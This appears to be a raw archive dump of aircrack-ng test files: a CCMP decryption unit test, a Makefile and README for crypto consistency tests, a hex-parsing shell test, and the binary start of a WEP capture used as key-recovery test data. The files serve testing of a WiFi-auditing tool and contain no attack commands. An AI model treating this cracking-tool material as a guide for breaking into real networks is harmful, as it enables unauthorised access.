"\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a" "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2" "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c" "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b" "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed" "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d" "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65" "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6" "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad" "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e" "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4" "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85" "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7" "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c" "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9" "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2" "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f" "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6" "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3" "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a" "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0" "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36" "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d" "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0" "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b" "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31" "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a" "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6" "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec" "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6" "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43" "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27" "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26" "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46" "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03" "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7" "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22" "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55" "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a" "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2" "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d" "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f" "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b" "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60" "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec" "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c" "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b" "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0" "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67" "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb" "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a" "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac" "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8" "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d" "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee" "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f" "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b" "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36" "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e" "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d" "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79" "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0" "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54" "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95" "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c" "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf" "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54" "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb" "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85" "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a" "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3" "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21" "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4" "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d" "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5" "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f" "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1" "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62" "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1" "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48" "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2" "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b" "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee" "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a" "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc" "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf"; unsigned char expected_output[BUFFER_SIZE]; unsigned char input[BUFFER_SIZE]; bzero(&expected_output,BUFFER_SIZE); bzero(&input,BUFFER_SIZE); memcpy(&expected_output,expected,sizeof(expected)); memcpy(&input,h80211,sizeof(h80211)); if (! decrypt_ccmp( input, caplen1, tk1 )) error++; error += test(input,expected_output,sizeof(expected),argv[0]); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/Makefile0000644000000000000000000000452412641302422020461 0ustar rootrootAC_ROOT = ../.. SRC_DIR = $(AC_ROOT)/src include $(AC_ROOT)/common.mak CFLAGS += -I$(SRC_DIR) -I$(SRC_DIR)/include $(COMMON_CFLAGS) ifeq ($(subst TRUE,true,$(filter TRUE true,$(simdcore) $(SIMDCORE))),true) SSEO_INT = $(AC_ROOT)/src/simd-intrinsics.o $(AC_ROOT)/src/memory.o $(AC_ROOT)/src/wpapsk.o else ifeq ($(subst TRUE,true,$(filter TRUE true,$(newsse) $(NEWSSE))),true) SSEO_INT = $(AC_ROOT)/src/sse-intrinsics.o $(AC_ROOT)/src/memory.o $(AC_ROOT)/src/wpapsk.o endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true) LIBSSL = -lgcrypt $(LDFLAGS) CFLAGS += -DUSE_GCRYPT else LIBSSL = -lssl -lcrypto $(LDFLAGS) endif all: check SRC_CRYPTO = $(AC_ROOT)/src/crypto.c $(AC_ROOT)/src/sha1-git.c $(SSEO_INT) $(AC_ROOT)/src/cpuid.o $(AC_ROOT)/src/common.o TESTFILES = test-encrypt-wep$(EXE) test-calc-pmk$(EXE) test-calc-mic$(EXE) test-calc-ptk$(EXE) test-encrypt-ccmp$(EXE) test-decrypt-ccmp$(EXE) test-calc-4pmk$(EXE) OBJS_TEST_EWEP = test-encrypt-wep.c $(SRC_CRYPTO) OBJS_TEST_CPMK = test-calc-pmk.c $(SRC_CRYPTO) OBJS_TEST_4PMK = test-calc-4pmk.c $(SRC_CRYPTO) OBJS_TEST_CMIC = test-calc-mic.c $(SRC_CRYPTO) OBJS_TEST_CPTK = test-calc-ptk.c $(SRC_CRYPTO) OBJS_TEST_DCMP = test-decrypt-ccmp.c $(SRC_CRYPTO) OBJS_TEST_ECMP = test-encrypt-ccmp.c $(SRC_CRYPTO) test-encrypt-wep$(EXE): $(OBJS_TEST_EWEP) $(CC) $(CFLAGS) $(OBJS_TEST_EWEP) -o $(@) $(LIBSSL) test-calc-pmk$(EXE): $(OBJS_TEST_CPMK) $(CC) $(CFLAGS) $(OBJS_TEST_CPMK) -o $(@) $(LIBSSL) test-calc-4pmk$(EXE): $(OBJS_TEST_4PMK) $(CC) $(CFLAGS) $(OBJS_TEST_4PMK) $(AC_ROOT)/src/sha1-sse2.S -o $(@) $(LIBSSL) test-calc-mic$(EXE): $(OBJS_TEST_CMIC) $(CC) $(CFLAGS) $(OBJS_TEST_CMIC) -o $(@) $(LIBSSL) test-calc-ptk$(EXE): $(OBJS_TEST_CPTK) $(CC) $(CFLAGS) $(OBJS_TEST_CPTK) -o $(@) $(LIBSSL) test-encrypt-ccmp$(EXE): $(OBJS_TEST_ECMP) $(CC) $(CFLAGS) $(OBJS_TEST_ECMP) -o $(@) $(LIBSSL) test-decrypt-ccmp$(EXE): $(OBJS_TEST_DCMP) $(CC) $(CFLAGS) $(OBJS_TEST_DCMP) -o $(@) $(LIBSSL) default: check check: $(TESTFILES) $(foreach TEST,$(TESTFILES), \ ./$(TEST) || exit 1; \ ) valgrind: $(TESTFILES) $(foreach TEST,$(TESTFILES), \ echo "Testing $$test for memory leaks with valgrind ..." ; \ valgrind -q --error-exitcode=1 --leak-check=yes ./$(TEST) || exit 1; \ ) clean: rm -f $(TESTFILES) rm -f vgcore* aircrack-ng-1.2-rc4/test/cryptounittest/README0000644000000000000000000000407012004020431017663 0ustar rootrootThis tests are meant to ensure that all functions of aircrack-ng where OpenSSL code is used [1] perform exactly the same (same input=>same output) when running with OpenSSL or with the alternative crypto (Libgcrypt+sha1-git) To run the tests with OpenSSL (useful for ensuring that the tests are still valid): make clean && make check To run the tests with Libgcrypt+sha1-git: make clean && make check gcrypt=true To check for memory leaks: cd test/cryptounittest; make clean && make valgrind gcrypt=true Return value: Each one of the tests, when successful return zero, and when failed return the number of tests (>0) failed. The "make check" target will fail if any of the tests return non-zero. [1] This are 4 functions of crypto.c {encrypt_wep,calc_pmk,calc_mic,calc_ptk} And 1 function of sha1-see2.h {calc_4pmk} ----------------------------------------------------------------------------- [TEST] file:testedfunction -> usedbyfile:function [test-encrypt-wep.c] crypto.c:encrypt_wep -> airbase-ng.c:encrypt_data airbase-ng.c:getCompleteFrag airtun-ng.c:packet_xmit airtun-ng.c:getCompleteFrag tkiptun-ng.c:do_attack_tkipchop [test-calc-pmk.c] crypto.c:calc_pmk -> aircrack-ng.c:crack_wpa_thread [test-calc-mic.c] crypto.c:calc_mic -> aircrack-ng.c:sql_wpacallback [test-calc-ptk.c] crypto.c:calc_ptk -> airdecap-ng.c:main tkiptun-ng.c:main [test-decrypt-ccmp.c] crypto.c:decrypt_ccmp -> airdecap-ng.c:main (wpa-v2) [test-calc-4pmk.c] sha1-see2.h:calc_4pmk -> aircrack-ng.c:crack_wpa_thread aircrack-ng-1.2-rc4/test/test-hex_string_to_array.sh0000755000000000000000000000270412631743000021265 0ustar rootroot#! /bin/sh ./test-hex_string_to_array >/dev/null 2>/dev/null RET=$? if [ ${RET} -ne 1 ]; then "Hex string test fail. Expected return value of 1 (missing parameter), got ${RET} with no parameter." exit 1 fi echo "Test Hex string to array with empty string: failure - Test successful" hex_failing_test() { ./test-hex_string_to_array "${1}" >/dev/null 2>/dev/null RET=$? if [ ${RET} -ne 2 ]; then echo "Hex string failed. Expected return value of 2 (failure), got ${RET} with ${failure}." exit 1 fi echo "Test Hex string to array with ${failure}: failure - Test successful" } # sh does not support arrays, so we have to do it this way hex_failing_test 'F' hex_failing_test 'A' hex_failing_test 'a' hex_failing_test '1' hex_failing_test '9' hex_failing_test 'G' hex_failing_test 'AG' hex_failing_test '9U' hex_failing_test 'aO' hex_failing_test 'FF:FF:FF:AS' hex_failing_test 'BLAH' hex_success_test() { ./test-hex_string_to_array "${1}" >/dev/null 2>/dev/null RET=$? if [ ${RET} -ne 0 ]; then echo "Hex string test failed. Expected return value of 0 (success), got ${RET} with ${success}" exit 1 fi echo "Test Hex string to array with ${success}: success - Test successful" } hex_success_test 'FF' hex_success_test 'AA' hex_success_test 'aa' hex_success_test '11' hex_success_test '22' hex_success_test 'FF:AA:FF' hex_success_test 'C0:FF:EE:' hex_success_test '00:11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF' echo "Hex string tests successful." exit 0 aircrack-ng-1.2-rc4/test/wep_64_ptw.cap0000644000000000000000001742032512550507127016405 0ustar rootrootÔò¡ÿÿi1D6Fk> Ô T¡ L1D6Fl>VVBÿÿÿÿÿÿ¿2) T¡ Là{ÍÒ:Åä°Ãꇡ͛K#÷`ê‰ûD0« ôL+2‚(%=)‘]X7ÂÒ÷í솶ØUáf‹]²Öš1D6Fl> Ô T¡ L1D6Fm>VVBÿÿÿÿÿÿ¿2) T¡ Lð{èÈ1,åùéØX—kóCXKá$;®g ~ÞØ!®»¸~¨îšGtt/ƒ&š=~®núÖ[k¶S$w1D6Fl@ Ô T¡ L1D6FlBVVBÿÿÿÿÿÿ¿2) T¡ L|˜(1DÓ9–­´œš‹g­µ.‡¿¹¢"p¶xÞ”ˆ‚fKç352BpÛ®±5ÝJH¨y£ÑCÚ¬èœ-ç0[m1D6FmJ Ô T¡ L1D6FmJVVBÿÿÿÿÿÿ¿2) T¡ L|`:B£Ú+CŠÚ+S_¨Âf™Ðç hwgq…JÚ¢!Ù®5x·¡ñ ¢ì— ¹§ÎÐyƉWtú Iò1D6FmT Ô T¡ L1D6FmVVVBÿÿÿÿÿÿ¿2) T¡ L |×4äà_â>Me#:’Jð ñhóÌ6>*¤€ž5ÿ¥D½ï¼½&éü\~å>¿'mýŸdV•ž¡äŽe·ûb1D6Fm` Ô T¡ L1D6FmbVVBÿÿÿÿÿÿ¿2) T¡ L0|Ì^ ãòyfÕ o%ïþ2M¥±.S&Û>ÀÈöq|‘gp¼äyº’BµÛ Ç¯Ü· Œfs›v;8BeMÍ1D6Fll Ô T¡ L1D6FmnVVBÿÿÿÿÿÿ¿2) T¡ L@|IÊ-븿 ‹9Da˜w…œÅZ½ã»à“aLá#’Þ©5._kÛš•ã e/2;™Ö[¶Å ¤Ka1D6Flv Ô T¡ L1D6FmxVVBÿÿÿÿÿÿ¿2) T¡ LP|›,Í‚Œ”~YaÆžPú’ÆØŽzèGXÏËLOÝÂ^eU§}[1n#XW|Ï=ÂŒ‚ø€{‚~'ûE1D6Fk‚ Ô T¡ L1D6Fm„VVBÿÿÿÿÿÿ¿2) T¡ L`|Zð’ú(ËŠÂÖ˜U …8í:Ø“ G”‚Ë”VÙvH`ê û6k}ßo|ßZz`v´…–@ÍÌð…'[€1D6FmŽ Ô T¡ L1D6FmVVBÿÿÿÿÿÿ¿2) T¡ Lp|çF m ûVò˜’1‰\e`ë ^NÖ‡°¨œuär>3Þ›µóô D*§é8^åYÜa*èùÁïö–Ñ1D6Flš Ô T¡ L1D6FnšVVBÿÿÿÿÿÿ¿2) T¡ L€||úšé¡ÃîX¨ÇŒö8q+‡Â™KÉÉúvËU«<ï•<5š»Ýˆ.JHuº²¬"¬ „²¼7éS„.Ì(ú1D6Fl¤ Ô T¡ L1D6Fn¦VVBÿÿÿÿÿÿ¿2) T¡ L|õvÉ•¹¢…éµÚi/´Wî<ªîþ7üþUëU‘´!›TIE]ZSCï¶ <•—×V3½<£Q³5ý¼1D6Fm° Ô T¡ L1D6Fn²VVBÿÿÿÿÿÿ¿2) T¡ L |_&1ø×‰AxC¸œÍiíñаÛÜ Ú¢?¦PÖW¾`òÐÄ]Æ?éÍ ²†¤ªêw¬^œûØ…ÌpÙ'1D6Fl¸;;€ÿÿÿÿÿÿ¿2)¿2)°|)ÁdAppart‚„‹–1D6Fm¼ Ô T¡ L1D6Fn¾VVBÿÿÿÿÿÿ¿2) T¡ LÀ|–hàbDm¾².>ÎÊ €cZt¦øt<èÿ!Êh:á©%_¢ùÜðç=ƒô—Ô||5)³ËÓj3 U1¯þÔ1D6FmÆ Ô T¡ L1D6FnÈVVBÿÿÿÿÿÿ¿2) T¡ LÐ|ù¦Z–¯$ìk‘y”ôžžü¢]v³Ù¿‹óè2•ö?ÃÜJ?#ëÔŠiã‹€ƒù´X«Ù¹Š~c¬ˆõqµ1D6FlÒ Ô T¡ L1D6FmÔVVBÿÿÿÿÿÿ¿2) T¡ Là|œÌGíÔ…=¥“<Œ‘^&7´A‘¡–ÚUâ9Ák{Eh@¤Î_÷+ÉÏLKØ7+Õ0~˜*^LŒ1D6FmÞ Ô T¡ L1D6FmàVVBÿÿÿÿÿÿ¿2) T¡ Lð|}bb÷9+g (ÇdèsÙR~Ôí7Xß%–ºÿ'Äí«Cïd0޵_òüÍô¥"·ßÖ1ÌÔïøÄVŸø1D6Fmê Ô T¡ L1D6FmêVVBÿÿÿÿÿÿ¿2) T¡ L}F¼ô˜™àÎ-±²š]D!CÍÐG ˆ2öq'EûOúÍÌŸù–ÁÚ/ŒGžôF0ªhªÊ‹j ˜\‹¢Sn1D6Flô Ô T¡ L1D6FnöVVBÿÿÿÿÿÿ¿2) T¡ L}»,àš.ýÔ ¥=0›hÏ«`ÏÜ·'ÜhØüFþ ¿Û|¼fï]ÀæÆË×.ÓϨt°•Y¹Ž@`%’ž”ö´1D6Fm Ô T¡ L1D6FmVVBÿÿÿÿÿÿ¿2) T¡ L }‚÷—>+Èo€ùù ™d¡F³¹?¾°vož”n…œYâ<¾ÆÜ^cµøª‚»•C§HÆ·£ÏÑÿ]1D6Fl  Ô T¡ L1D6FmVVBÿÿÿÿÿÿ¿2) T¡ L0}èÖ9õnS™ÜNæL=.ÑMR™]p”§½ðo˜zj¯å:È©.}ïЂ‰#–šæ —×*›“"®1D6Fm Ô T¡ L1D6FnVVBÿÿÿÿÿÿ¿2) T¡ L@}Ö?MIywVp²A}, š7Þéá¨Ü UÀ¤ÕT¦†¤Š#!õ^DÆÚŸ4µ.–ö$O²AjP!Ý‘ÛvÞ>Ê1D6Fl" Ô T¡ L1D6Fm$VVBÿÿÿÿÿÿ¿2) T¡ LP}‰Vž¹•ÊÞ-IrŸ‰.SX¬-£±”dœ ==Hã£À*F| „€Ç.wU§ÐÏ=9†Ô{É~”hµ›1D6Fl. Ô T¡ L1D6Fn0VVBÿÿÿÿÿÿ¿2) T¡ L`}y‹Ž¬‹åä±úÄÖ¬:lY *g ̦ݬ‹HªÄ#+#7jìri º”6T àó_‚šÝÒ²ÈO{1D6Fn: Ô T¡ L1D6Fn<VVBÿÿÿÿÿÿ¿2) T¡ Lp}ZxÈZ >cWCs¿4AÖ)|Ð]óD’šŠS¬ÄêêEa·”•ÊEHÊ·áÍíɲ(D¡ÔÄg`º«Tï1D6FlD Ô T¡ L1D6FnFVVBÿÿÿÿÿÿ¿2) T¡ L€}«È„,žs‘ª¥° h"Ó%¿úü¤Òau.øôÉÕ‡@ùLy:‰ª4”0ËEJcF+½êH–Õõî?0ºhª1D6FmP Ô T¡ L1D6FmRVVBÿÿÿÿÿÿ¿2) T¡ L}¨ “J;0Ð$†0JŸM¯}‡øµ;ØÄ²é—†A7–±£ Z'ÌâîsƒaØu¾©ö›œL@sH0ð1D6Fm\ Ô T¡ L1D6Fn^VVBÿÿÿÿÿÿ¿2) T¡ L }’D‰\<çaî„U Žâ´PydÀèZ´.WÜ>€È‰qF¼¬7Åhò›ïÚ_M¸ ½y$Ñ£ýÈ›e1D6Flh Ô T¡ L1D6FmhVVBÿÿÿÿÿÿ¿2) T¡ L°} Tn}ŠõJæu‘ ÅdôÄBË…ô KBÊ’Ø¢'Ñ}]—R9Œ@¦OU¸}ƒ·K[t ˆ —ô1D6Fmr Ô T¡ L1D6FntVVBÿÿÿÿÿÿ¿2) T¡ LÀ}|J'œ¼¯û%J½iýwvÛ%'²?¦˜mc¾ ìäÙaw*Âõ¨»Öl>øtxôÈ»½41D6Fl~ Ô T¡ L1D6Fm€VVBÿÿÿÿÿÿ¿2) T¡ LÐ}þMYu„¢êÜÖèÎv(pÜP'e¿q~m(2¾÷niÑgøî;3RÎòo¤F^i>Ì»(g4Æ™+¶úþF1D6FlŠ Ô T¡ L1D6FnŒVVBÿÿÿÿÿÿ¿2) T¡ Là}f„¶Xj=çjЪWm´–2#3a';BjŒõs)y%®¨HK™%`!ek–Fw/4è‘"B{æýué@î¶wú1D6Fm” Ô T¡ L1D6Fn–VVBÿÿÿÿÿÿ¿2) T¡ Lð}ïºÎ#…B\|Lj‰C€Ž*Θ–îq`ÑĤNyñ/¸wµIšþDO4±˜)ᣚhÆüXZ5gNì09K<1D6Fn  Ô T¡ L1D6Fn¢VVBÿÿÿÿÿÿ¿2) T¡ L~göüµ…±uÕ«OLB×<<¦æÝ[U'n‘Òïu†Ùœ6l\í¡nfÀ,w°­ðª‘N‰b¿G–#c¢/[i1D6Fm¬ Ô T¡ L1D6Fm®VVBÿÿÿÿÿÿ¿2) T¡ L~'œ[)ßnPOÓ¡OÇQJ´±½sº:š£3¹’W_¬vGªÓiZ|‹ùˆÚwÊå5éN§çø|1D6Fn¸ Ô T¡ L1D6Fn¸VVBÿÿÿÿÿÿ¿2) T¡ L ~ó0ŠïiëU Ú£i6“äŸï69†ðÛAø9•:ß™S@ãInÀbT<3DKÊgŸ‡_ŠŽK@GƒNPôÏ1D6FlÂ Ô T¡ L1D6FnÄVVBÿÿÿÿÿÿ¿2) T¡ L0~û ö¤¨²øÄ–p„Þ.ÏßÅó¿Ýù¨'ÞÈBÚ6Ç1D6Fm Ô T¡ L1D6FnVVBÿÿÿÿÿÿ¿2) T¡ L@~Q¢M-ªâL Üa4£ºT½«Fpÿ„HËcQ{ÙÁ0¡:Ø÷6EVeåßZªnLÒh»Rϱô¥žÿ1D6Fl Ô T¡ L1D6FnVVBÿÿÿÿÿÿ¿2) T¡ LP~°žåìns°Á{J/× dc鵕…I®kQ=²‹§Ü*7}K=OçJ› Ï­K:Û=4µ¶jUÑ<™1D6Fl Ô T¡ L1D6Fn VVBÿÿÿÿÿÿ¿2) T¡ L`~b¬,{y©ö|üÁrIHÏøG©|GÚê§gI7ãÉ£ñQÈl^ÿAú¦äüÎõiÍ¥Šèþ­2dŒh1D6Fn* Ô T¡ L1D6Fn,VVBÿÿÿÿÿÿ¿2) T¡ Lp~èÜʵ¤äez§^>Ëü{?¶#89 Ž?-”¸ÜnH7 ÄòTöDxsÁr DX(›($?ÐŽ£¶k±écÄ1D6Fm6 Ô T¡ L1D6Fm6VVBÿÿÿÿÿÿ¿2) T¡ L€~¤ðú=æ·Þä8c¿üþdϧã¹âõ~R€õï—®QKÿì,‰Ms[£î`0 +´±Ãj¦dÚùžzðuÚƒ1D6Fm@ Ô T¡ L1D6FnBVVBÿÿÿÿÿÿ¿2) T¡ L~Ф¬·¬jŒsþ{³H©U|’Âr˧٪?+Œõp+`r•ÏNäæÕdAã«Õƒ8ŽC‚1tû’1D6FnL Ô T¡ L1D6FnNVVBÿÿÿÿÿÿ¿2) T¡ L°~œ‚ø³J¢mÜèëIRs1Èý‚‡½ðÊ ‘{ÀSc>QQîŠMÁ £qíj6Uæ7 +ÚLïón1D6FnX Ô T¡ L1D6FnZVVBÿÿÿÿÿÿ¿2) T¡ LÀ~å*~ÑÈ…9ìÓç™®Â@—ÒàDÚö`º<5K¹2!Λ¢X¾°hê¬çC ®ü…ÜwF(j=1D6Fnb Ô T¡ L1D6FmdVVBÿÿÿÿÿÿ¿2) T¡ LÐ~8@0  MÊÚjqn¹Eß(‰¶UÒ¶1üHÄôƒßTAÕú _qWÛ5㋼‡÷ÇÀ»KF‚p)±€91D6Fnn Ô T¡ L1D6FnpVVBÿÿÿÿÿÿ¿2) T¡ Là~Æ20 *„ãÒŒà¡6CPöÐ(äÅaËtÔ"¿—ŽÏ–Ÿ$FAš¹P„â«HldáúX\%}ê,«Ü1D6Fmz Ô T¡ L1D6Fn|VVBÿÿÿÿÿÿ¿2) T¡ Lð~m¢A*´·ƒ£ÓF)vE~cp$!Õ(¼xE€”z~Ñu~­2¡fÃmbÒfq×·¬›† 3wò½•w21D6Fm† Ô T¡ L1D6Fn†VVBÿÿÿÿÿÿ¿2) T¡ LjÞ(SDRš‘š1:*iƤb°:Å=ýÝt<2•Ï•{çŠ6Š5KÛ ®¼m¢†ôȾã.hñ1D6Fl Ô T¡ L1D6Fn’VVBÿÿÿÿÿÿ¿2) T¡ L’Ÿ&¦µÚŒ…íÏØí§™i„ÔûÚ2ÌÓè“_w;ªMJEò7ii+Ùi×…fëR¬ê»9;Æž‰šñâ‘Ò«1D6Flœ Ô T¡ L1D6FnžVVBÿÿÿÿÿÿ¿2) T¡ L ¥Àúl´ýæ%DÐr‰ÿçÈ¥Ø8Œnc∸˜åDÀ‘=Ûm¸NGTo݈õP~ë¿0Þ1ö˜€-'8…Š1D6Fl¨ Ô T¡ L1D6FnªVVBÿÿÿÿÿÿ¿2) T¡ L0Q¦71˜Ú뤤çc˜›ob¹ÀÖ|*öwošïE-0¼Åg)ŽÒR½"uÉå£rÉÞl­ŒZ6ÑÇN1D6Fn´ Ô T¡ L1D6Fm´VVBÿÿÿÿÿÿ¿2) T¡ L@°;Úí½Ô¯BŒº #¡r;`ú£º¶UØãùÈÜ*°hÇ삇Ú=‘Ÿw!¾•Ac`ãAÔ¢)1D6Fn¾ Ô T¡ L1D6FnÀVVBÿÿÿÿÿÿ¿2) T¡ 